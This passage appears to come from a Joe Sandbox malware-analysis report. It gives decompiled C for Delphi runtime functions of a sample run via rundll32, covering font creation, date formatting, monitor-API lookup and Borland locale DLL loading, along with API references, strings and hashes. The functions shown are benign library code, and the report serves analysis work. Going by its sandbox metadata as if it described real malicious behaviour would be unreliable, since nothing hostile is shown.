Opcode Fuzzy Hash: 40012338ec434bded6de2070fb0cbb168be0bbd769ed75310c82aa5705d32ae5
Instruction Fuzzy Hash: CD0184712492066BCB10EFA8DC51FAAB7EDEB09310F2081A1FA04D72A1EE35D980C764

Uniqueness

Uniqueness Score: -1.00%

Function 00B34254 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00B34254(void* __eax, void* __ebx, void* __ecx) {
				signed int _v8;
				struct tagLOGFONTA _v68;
				char _v72;
				char _v76;
				char _v80;
				intOrPtr _t76;
				intOrPtr _t81;
				void* _t100;
				void* _t107;
				void* _t116;
				intOrPtr _t126;
				void* _t137;
				void* _t138;
				intOrPtr _t139;

				_t137 = _t138;
				_t139 = _t138 + 0xffffffb4;
				_v80 = 0;
				_v76 = 0;
				_v72 = 0;
				_t116 = __eax;
				_push(_t137);
				_push(0xb343dd);
				_push( *[fs:eax]);
				 *[fs:eax] = _t139;
				_v8 =  *((intOrPtr*)(__eax + 0x10));
				if( *((intOrPtr*)(_v8 + 8)) != 0) {
					__eflags = 0;
					 *[fs:eax] = 0;
					_push(0xb343e4);
					return E00B1424C( &_v80, 3);
				} else {
					_t76 =  *0xbdf8e0; // 0x2650a30
					E00B33598(_t76);
					_push(_t137);
					_push(0xb343b5);
					_push( *[fs:eax]);
					 *[fs:eax] = _t139;
					if( *((intOrPtr*)(_v8 + 8)) == 0) {
						_v68.lfHeight =  *(_v8 + 0x14);
						_v68.lfWidth = 0;
						_v68.lfEscapement = 0;
						_v68.lfOrientation = 0;
						if(( *(_v8 + 0x19) & 0x00000001) == 0) {
							_v68.lfWeight = 0x190;
						} else {
							_v68.lfWeight = 0x2bc;
						}
						_v68.lfItalic = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000002) != 0x00000000;
						_v68.lfUnderline = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000004) != 0x00000000;
						_v68.lfStrikeOut = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000008) != 0x00000000;
						_v68.lfCharSet =  *((intOrPtr*)(_v8 + 0x1a));
						E00B1448C( &_v72, _v8 + 0x1b,  *(_v8 + 0x19) & 0x00000008);
						_t100 = E00B18930(_v72, "Default");
						_t146 = _t100;
						if(_t100 != 0) {
							__eflags = _v8 + 0x1b;
							E00B1448C( &_v80, _v8 + 0x1b, _v8 + 0x1b);
							E00B19220( &(_v68.lfFaceName), _v80);
						} else {
							E00B1448C( &_v76, "\rMS Sans Serif", _t146);
							E00B19220( &(_v68.lfFaceName), _v76);
						}
						_v68.lfQuality = 0;
						_v68.lfOutPrecision = 0;
						_v68.lfClipPrecision = 0;
						_t107 = E00B34538(_t116) - 1;
						if(_t107 == 0) {
							_v68.lfPitchAndFamily = 2;
						} else {
							if(_t107 == 1) {
								_v68.lfPitchAndFamily = 1;
							} else {
								_v68.lfPitchAndFamily = 0;
							}
						}
						 *((intOrPtr*)(_v8 + 8)) = CreateFontIndirectA( &_v68);
					}
					_pop(_t126);
					 *[fs:eax] = _t126;
					_push(0xb343bc);
					_t81 =  *0xbdf8e0; // 0x2650a30
					return E00B335A4(_t81);
				}
			}

0x00b34255
0x00b34257
0x00b3425d
0x00b34260
0x00b34263
0x00b34266
0x00b3426a
0x00b3426b
0x00b34270
0x00b34273
0x00b34279
0x00b34283
0x00b343c2
0x00b343c7
0x00b343ca
0x00b343dc
0x00b34289
0x00b34289
0x00b3428e
0x00b34295
0x00b34296
0x00b3429b
0x00b3429e
0x00b342a8
0x00b342b4
0x00b342b9
0x00b342be
0x00b342c3
0x00b342cd
0x00b342d8
0x00b342cf
0x00b342cf
0x00b342cf
0x00b342e9
0x00b342f6
0x00b34303
0x00b3430c
0x00b34318
0x00b34325
0x00b3432a
0x00b3432c
0x00b3434e
0x00b34351
0x00b3435c
0x00b3432e
0x00b34336
0x00b34341
0x00b34341
0x00b34361
0x00b34365
0x00b34369
0x00b34374
0x00b34376
0x00b3437e
0x00b34378
0x00b3437a
0x00b34384
0x00b3437c
0x00b3438a
0x00b3438a
0x00b3437a
0x00b3439a
0x00b3439a
0x00b3439f
0x00b343a2
0x00b343a5
0x00b343aa
0x00b343b4
0x00b343b4

APIs

Part of subcall function 00B33598: RtlEnterCriticalSection.KERNEL32(?,00B335D5), ref: 00B3359C

CreateFontIndirectA.GDI32(?), ref: 00B34392

Strings

MS Sans Serif, xrefs: 00B34331
Default, xrefs: 00B34320

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: CreateCriticalEnterFontIndirectSection
String ID: MS Sans Serif$Default
API String ID: 2931345757-2137701257
Opcode ID: 49856868d251a3605e0addaf84dc18da418b246c74ce66f4c4288eddd937ad3f
Instruction ID: f3c6569d67d626ddac30a5418044517b012fd844314861d1837f53dcce7402b6
Opcode Fuzzy Hash: 49856868d251a3605e0addaf84dc18da418b246c74ce66f4c4288eddd937ad3f
Instruction Fuzzy Hash: 74513731A08288DFDB01DFA8C481BDDBBF6EF48304F6540A9E800A7352D774AE45DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00B1A790 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74
threadCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00B1A790(void* __eax, void* __ebx, intOrPtr* __edx, void* __esi, intOrPtr _a4) {
				char _v8;
				short _v18;
				short _v22;
				struct _SYSTEMTIME _v24;
				char _v280;
				char* _t32;
				intOrPtr* _t49;
				intOrPtr _t58;
				void* _t63;
				void* _t67;

				_v8 = 0;
				_t49 = __edx;
				_t63 = __eax;
				_push(_t67);
				_push(0xb1a86e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t67 + 0xfffffeec;
				E00B14228(__edx);
				_v24 =  *((intOrPtr*)(_a4 - 0xe));
				_v22 =  *((intOrPtr*)(_a4 - 0x10));
				_v18 =  *((intOrPtr*)(_a4 - 0x12));
				if(_t63 > 2) {
					E00B142C0( &_v8, 0xb1a890);
				} else {
					E00B142C0( &_v8, 0xb1a884);
				}
				_t32 = E00B146E8(_v8);
				if(GetDateFormatA(GetThreadLocale(), 4,  &_v24, _t32,  &_v280, 0x100) != 0) {
					E00B14498(_t49, 0x100,  &_v280);
					if(_t63 == 1 &&  *((char*)( *_t49)) == 0x30) {
						E00B14748( *_t49, E00B144E8( *_t49) - 1, 2, _t49);
					}
				}
				_pop(_t58);
				 *[fs:eax] = _t58;
				_push(0xb1a875);
				return E00B14228( &_v8);
			}

0x00b1a79d
0x00b1a7a0
0x00b1a7a2
0x00b1a7a6
0x00b1a7a7
0x00b1a7ac
0x00b1a7af
0x00b1a7b4
0x00b1a7c0
0x00b1a7cb
0x00b1a7d6
0x00b1a7dd
0x00b1a7f6
0x00b1a7df
0x00b1a7e7
0x00b1a7e7
0x00b1a80a
0x00b1a823
0x00b1a832
0x00b1a838
0x00b1a853
0x00b1a853
0x00b1a838
0x00b1a85a
0x00b1a85d
0x00b1a860
0x00b1a86d

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,00B1A86E), ref: 00B1A816
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,00B1A86E), ref: 00B1A81C

Strings

yyyy, xrefs: 00B1A7F1

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: 20c42f4b317cc63cec1b686ac8d29ce45f330427d09aec0b1614eab81543516f
Instruction ID: 0f27ff042e7bc40a82380ae01aa7bfa75b9c21ed9f1b563112e80824dca6287b
Opcode Fuzzy Hash: 20c42f4b317cc63cec1b686ac8d29ce45f330427d09aec0b1614eab81543516f
Instruction Fuzzy Hash: F1216278611108ABDB01EB98C842AEE73F8EF09300FD100E5F904E7351D770AE81C766

Uniqueness

Uniqueness Score: -1.00%

Function 00B3E278 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00B3E278(char __edx, void* __edi, void* __esi, void* __fp0) {
				char _v5;
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t15;
				signed int _t24;
				signed int _t25;
				signed int _t28;
				void* _t31;
				void* _t34;
				void* _t35;
				char _t36;
				signed int _t40;
				void* _t42;
				void* _t43;
				void* _t44;
				void* _t45;
				void* _t50;

				_t50 = __fp0;
				_t43 = __esi;
				_t42 = __edi;
				_t36 = __edx;
				if(__edx != 0) {
					_t45 = _t45 + 0xfffffff0;
					_t15 = E00B13694(_t15, _t44);
				}
				_v5 = _t36;
				_t34 = _t15;
				E00B5CCEC(_t34, _t35, 0, _t42, _t43, _t50);
				E00B5A030(_t34, GetSystemMetrics(2));
				E00B5A054(_t34, GetSystemMetrics(0x14));
				_t24 =  *(_t34 + 0x4c);
				_t40 = _t24;
				_t25 = _t24 >> 1;
				if(0 < 0) {
					asm("adc eax, 0x0");
				}
				E00B5A054(_t34, _t40 + _t25);
				 *((char*)(_t34 + 0x208)) = 1;
				 *((char*)(_t34 + 0x21f)) = 0;
				 *((short*)(_t34 + 0x21c)) = 0;
				 *((short*)(_t34 + 0x210)) = 0;
				 *((short*)(_t34 + 0x212)) = 0x64;
				 *((intOrPtr*)(_t34 + 0x214)) = 1;
				 *((char*)(_t34 + 0x228)) = 1;
				 *((char*)(_t34 + 0x229)) = 1;
				 *((char*)(_t34 + 0x21e)) = 1;
				_t28 =  *0xb3e340; // 0x80
				 *(_t34 + 0x50) =  !_t28 &  *(_t34 + 0x50);
				_t31 = _t34;
				if(_v5 != 0) {
					E00B136EC(_t31);
					_pop( *[fs:0x0]);
				}
				return _t34;
			}

0x00b3e278
0x00b3e278
0x00b3e278
0x00b3e278
0x00b3e27f
0x00b3e281
0x00b3e284
0x00b3e284
0x00b3e289
0x00b3e28c
0x00b3e292
0x00b3e2a2
0x00b3e2b2
0x00b3e2b7
0x00b3e2ba
0x00b3e2bc
0x00b3e2be
0x00b3e2c0
0x00b3e2c0
0x00b3e2c7
0x00b3e2cc
0x00b3e2d3
0x00b3e2da
0x00b3e2e3
0x00b3e2ec
0x00b3e2f5
0x00b3e2ff
0x00b3e306
0x00b3e30d
0x00b3e314
0x00b3e31e
0x00b3e321
0x00b3e327
0x00b3e329
0x00b3e32e
0x00b3e335
0x00b3e33d

APIs

GetSystemMetrics.USER32 ref: 00B3E299
GetSystemMetrics.USER32 ref: 00B3E2A9

Strings

d, xrefs: 00B3E2EC

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: MetricsSystem
String ID: d
API String ID: 4116985748-2564639436
Opcode ID: 728cbbd2f56e114c6f9b8b56b4f7a5ab12ab8ad9ff3e2c093fbbfee888ec0bec
Instruction ID: 70ac059b04117a7bd42b2c8fab7b9addce6f162dbc0088408a53e079f9eae6e5
Opcode Fuzzy Hash: 728cbbd2f56e114c6f9b8b56b4f7a5ab12ab8ad9ff3e2c093fbbfee888ec0bec
Instruction Fuzzy Hash: DA118F216443848BEB41EF6888CA3C53AD19F15308F1841F8ED588F3CBEABBD54C8366

Uniqueness

Uniqueness Score: -1.00%

Function 00B39D1C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00B39D1C(intOrPtr _a4, intOrPtr _a8, signed int _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t15;
				void* _t16;
				intOrPtr _t18;
				signed int _t19;
				void* _t20;
				intOrPtr _t21;

				_t19 = _a12;
				if( *0xbdf91f != 0) {
					_t16 = 0;
					if((_t19 & 0x00000003) != 0) {
						L7:
						_t16 = 0x12340042;
					} else {
						_t21 = _a4;
						if(_t21 >= 0 && _t21 < GetSystemMetrics(0) && _a8 >= 0 && GetSystemMetrics(1) > _a8) {
							goto L7;
						}
					}
				} else {
					_t18 =  *0xbdf900; // 0xb39d1c
					 *0xbdf900 = E00B39A84(3, _t15, _t18, _t19, _t20);
					_t16 =  *0xbdf900(_a4, _a8, _t19);
				}
				return _t16;
			}

0x00b39d22
0x00b39d2c
0x00b39d56
0x00b39d5f
0x00b39d87
0x00b39d87
0x00b39d61
0x00b39d61
0x00b39d66
0x00000000
0x00000000
0x00b39d66
0x00b39d2e
0x00b39d33
0x00b39d40
0x00b39d52
0x00b39d52
0x00b39d92

APIs

GetSystemMetrics.USER32 ref: 00B39D6A
GetSystemMetrics.USER32 ref: 00B39D7C

Part of subcall function 00B39A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 00B39B04

Strings

MonitorFromPoint, xrefs: 00B39D2E

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: MetricsSystem$AddressProc
String ID: MonitorFromPoint
API String ID: 1792783759-1072306578
Opcode ID: 98f57fd958d6ff1a070437af6a4864d2b1d83af6b3d3578362ae44497ff4c09f
Instruction ID: d9544adecf1adb0e521b166ea16ccf52ff1c4757ba8fa286321ce49caaa191ba
Opcode Fuzzy Hash: 98f57fd958d6ff1a070437af6a4864d2b1d83af6b3d3578362ae44497ff4c09f
Instruction Fuzzy Hash: B201D63160A249EFDF005F68DC56B6ABBE5EB80354F244176F9058B122D7B1AD008BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B39BF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00B39BF4(intOrPtr* _a4, signed int _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t14;
				intOrPtr _t16;
				signed int _t17;
				void* _t18;
				void* _t19;

				_t17 = _a8;
				_t14 = _a4;
				if( *0xbdf91e != 0) {
					_t19 = 0;
					if((_t17 & 0x00000003) != 0 ||  *((intOrPtr*)(_t14 + 8)) > 0 &&  *((intOrPtr*)(_t14 + 0xc)) > 0 && GetSystemMetrics(0) >  *_t14 && GetSystemMetrics(1) >  *((intOrPtr*)(_t14 + 4))) {
						_t19 = 0x12340042;
					}
				} else {
					_t16 =  *0xbdf8fc; // 0xb39bf4
					 *0xbdf8fc = E00B39A84(2, _t14, _t16, _t17, _t18);
					_t19 =  *0xbdf8fc(_t14, _t17);
				}
				return _t19;
			}

0x00b39bfa
0x00b39bfd
0x00b39c07
0x00b39c2c
0x00b39c35
0x00b39c5c
0x00b39c5c
0x00b39c09
0x00b39c0e
0x00b39c1b
0x00b39c28
0x00b39c28
0x00b39c67

APIs

GetSystemMetrics.USER32 ref: 00B39C45
GetSystemMetrics.USER32 ref: 00B39C51

Part of subcall function 00B39A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 00B39B04

Strings

MonitorFromRect, xrefs: 00B39C09

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: MetricsSystem$AddressProc
String ID: MonitorFromRect
API String ID: 1792783759-4033241945
Opcode ID: 4bc36b450f25fbc1b311352af2cc0635618cc8546727017565e9267110bc8383
Instruction ID: 54496e5b6e8dac8246c083cbfd88c2502cb9e2e96e70282346270cbebcfdf969
Opcode Fuzzy Hash: 4bc36b450f25fbc1b311352af2cc0635618cc8546727017565e9267110bc8383
Instruction Fuzzy Hash: E501D631205205EFDB109B14D9C5B66FBD9DB41351F7890E3EC45CB202C6B1DD40EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00B39B6C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B39B6C(int _a4) {
				void* __ebx;
				void* __ebp;
				signed int _t2;
				signed int _t3;
				int _t8;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t18;

				_t8 = _a4;
				if( *0xbdf91c == 0) {
					 *0xbdf8f4 = E00B39A84(0, _t8,  *0xbdf8f4, _t17, _t18);
					return GetSystemMetrics(_t8);
				}
				_t3 = _t2 | 0xffffffff;
				_t12 = _t8 + 0xffffffb4 - 2;
				__eflags = _t12;
				if(__eflags < 0) {
					_t3 = 0;
				} else {
					if(__eflags == 0) {
						_t8 = 0;
					} else {
						_t13 = _t12 - 1;
						__eflags = _t13;
						if(_t13 == 0) {
							_t8 = 1;
						} else {
							__eflags = _t13 - 0xffffffffffffffff;
							if(_t13 - 0xffffffffffffffff < 0) {
								_t3 = 1;
							}
						}
					}
				}
				__eflags = _t3 - 0xffffffff;
				if(_t3 != 0xffffffff) {
					return _t3;
				} else {
					return GetSystemMetrics(_t8);
				}
			}

0x00b39b70
0x00b39b7a
0x00b39b8e
0x00000000
0x00b39b94
0x00b39b9c
0x00b39ba4
0x00b39ba4
0x00b39ba7
0x00b39bbb
0x00b39ba9
0x00b39ba9
0x00b39bbf
0x00b39bab
0x00b39bab
0x00b39bab
0x00b39bac
0x00b39bc3
0x00b39bae
0x00b39baf
0x00b39bb2
0x00b39bb4
0x00b39bb4
0x00b39bb2
0x00b39bac
0x00b39ba9
0x00b39bc8
0x00b39bcb
0x00b39bd5
0x00b39bcd
0x00000000
0x00b39bce

APIs

GetSystemMetrics.USER32 ref: 00B39BCE

Part of subcall function 00B39A84: GetProcAddress.KERNEL32(75BA0000,00000000), ref: 00B39B04

GetSystemMetrics.USER32 ref: 00B39B94

Strings

GetSystemMetrics, xrefs: 00B39B7C

Memory Dump Source

Source File: 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.289475761.0000000000B10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289928975.0000000000BDC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.289986188.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_loaddll32.jbxd

Similarity

API ID: MetricsSystem$AddressProc
String ID: GetSystemMetrics
API String ID: 1792783759-96882338
Opcode ID: c9461cddd16fdacbe6625fec9e87580cdde698e8d74589c461601afbb05689ce
Instruction ID: bd7c87371974d74bbfd302d870dd5799b6242fa7cbb4bf06f781452e6e57441f
Opcode Fuzzy Hash: c9461cddd16fdacbe6625fec9e87580cdde698e8d74589c461601afbb05689ce
Instruction Fuzzy Hash: 66F090305192029ACB105B38FDD46B2F6CAD742330FB44BE2E522871D5F9F59A449A61

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 5620, Parent PID: 1212COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	60

Executed Functions

Function 009D5BF4 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E009D5BF4(intOrPtr __eax) {
				intOrPtr _v8;
				void* _v12;
				char _v15;
				char _v17;
				char _v18;
				char _v22;
				int _v28;
				char _v289;
				long _t44;
				long _t61;
				long _t63;
				CHAR* _t70;
				CHAR* _t72;
				struct HINSTANCE__* _t78;
				struct HINSTANCE__* _t84;
				char* _t94;
				void* _t95;
				intOrPtr _t99;
				struct HINSTANCE__* _t107;
				void* _t110;
				void* _t112;
				intOrPtr _t113;

				_t110 = _t112;
				_t113 = _t112 + 0xfffffee0;
				_v8 = __eax;
				GetModuleFileNameA(0,  &_v289, 0x105);
				_v22 = 0;
				_t44 = RegOpenKeyExA(0x80000001, "Software\\Borland\\Locales", 0, 0xf0019,  &_v12); // executed
				if(_t44 == 0) {
					L3:
					_push(_t110);
					_push(0x9d5cf9);
					_push( *[fs:eax]);
					 *[fs:eax] = _t113;
					_v28 = 5;
					E009D5A3C( &_v289, 0x105);
					if(RegQueryValueExA(_v12,  &_v289, 0, 0,  &_v22,  &_v28) != 0 && RegQueryValueExA(_v12, E009D5E60, 0, 0,  &_v22,  &_v28) != 0) {
						_v22 = 0;
					}
					_v18 = 0;
					_pop(_t99);
					 *[fs:eax] = _t99;
					_push(E009D5D00);
					return RegCloseKey(_v12);
				} else {
					_t61 = RegOpenKeyExA(0x80000002, "Software\\Borland\\Locales", 0, 0xf0019,  &_v12); // executed
					if(_t61 == 0) {
						goto L3;
					} else {
						_t63 = RegOpenKeyExA(0x80000001, "Software\\Borland\\Delphi\\Locales", 0, 0xf0019,  &_v12); // executed
						if(_t63 != 0) {
							_push(0x105);
							_push(_v8);
							_push( &_v289);
							L009D14A4();
							GetLocaleInfoA(GetThreadLocale(), 3,  &_v17, 5); // executed
							_t107 = 0;
							if(_v289 != 0 && (_v17 != 0 || _v22 != 0)) {
								_t70 =  &_v289;
								_push(_t70);
								L009D14AC();
								_t94 = _t70 +  &_v289;
								L12:
								if( *_t94 != 0x2e && _t94 !=  &_v289) {
									_t94 = _t94 - 1;
									goto L12;
								}
								_t72 =  &_v289;
								if(_t94 != _t72) {
									_t95 = _t94 + 1;
									if(_v22 != 0) {
										_push(0x105 - _t95 - _t72);
										_push( &_v22);
										_push(_t95);
										L009D14A4();
										_t107 = LoadLibraryExA( &_v289, 0, 2);
									}
									if(_t107 == 0 && _v17 != 0) {
										_push(0x105 - _t95 -  &_v289);
										_push( &_v17);
										_push(_t95);
										L009D14A4();
										_t78 = LoadLibraryExA( &_v289, 0, 2); // executed
										_t107 = _t78;
										if(_t107 == 0) {
											_v15 = 0;
											_push(0x105 - _t95 -  &_v289);
											_push( &_v17);
											_push(_t95);
											L009D14A4();
											_t84 = LoadLibraryExA( &_v289, 0, 2); // executed
											_t107 = _t84;
										}
									}
								}
							}
							return _t107;
						} else {
							goto L3;
						}
					}
				}
			}

0x009d5bf5
0x009d5bf7
0x009d5bff
0x009d5c10
0x009d5c15
0x009d5c2e
0x009d5c35
0x009d5c77
0x009d5c79
0x009d5c7a
0x009d5c7f
0x009d5c82
0x009d5c85
0x009d5c97
0x009d5cba
0x009d5cda
0x009d5cda
0x009d5cde
0x009d5ce4
0x009d5ce7
0x009d5cea
0x009d5cf8
0x009d5c37
0x009d5c4c
0x009d5c53
0x00000000
0x009d5c55
0x009d5c6a
0x009d5c71
0x009d5d00
0x009d5d08
0x009d5d0f
0x009d5d10
0x009d5d23
0x009d5d28
0x009d5d31
0x009d5d47
0x009d5d4d
0x009d5d4e
0x009d5d5b
0x009d5d60
0x009d5d63
0x009d5d5f
0x00000000
0x009d5d5f
0x009d5d6f
0x009d5d77
0x009d5d7d
0x009d5d82
0x009d5d8f
0x009d5d93
0x009d5d94
0x009d5d95
0x009d5daa
0x009d5daa
0x009d5dae
0x009d5dc7
0x009d5dcb
0x009d5dcc
0x009d5dcd
0x009d5ddd
0x009d5de2
0x009d5de6
0x009d5de8
0x009d5dfd
0x009d5e01
0x009d5e02
0x009d5e03
0x009d5e13
0x009d5e18
0x009d5e18
0x009d5de6
0x009d5dae
0x009d5d77
0x009d5e21
0x00000000
0x00000000
0x00000000
0x009d5c71
0x009d5c53

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,108B00A9,00A9C0A4), ref: 009D5C10
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,108B00A9,00A9C0A4), ref: 009D5C2E
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,108B00A9,00A9C0A4), ref: 009D5C4C
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 009D5C6A
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,009D5CF9,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 009D5CB3
RegQueryValueExA.ADVAPI32(?,009D5E60,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,009D5CF9,?,80000001), ref: 009D5CD1
RegCloseKey.ADVAPI32(?,009D5D00,00000000,?,?,00000000,009D5CF9,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 009D5CF3
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 009D5D10
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 009D5D1D
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 009D5D23
lstrlen.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 009D5D4E
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 009D5D95
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 009D5DA5
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 009D5DCD
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 009D5DDD
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 009D5E03
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 009D5E13

Strings

Software\Borland\Locales, xrefs: 009D5C24, 009D5C42
Software\Borland\Delphi\Locales, xrefs: 009D5C60

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 5ab4d691ea2e6ee053f73824f1e526e2a578e16e8d795b68d58cc4a0fdb4ae83
Instruction ID: 1537cbd4166ddf5d6e307a36aa6c99108b48435ec000bd1b8c7c4c31d900c85f
Opcode Fuzzy Hash: 5ab4d691ea2e6ee053f73824f1e526e2a578e16e8d795b68d58cc4a0fdb4ae83
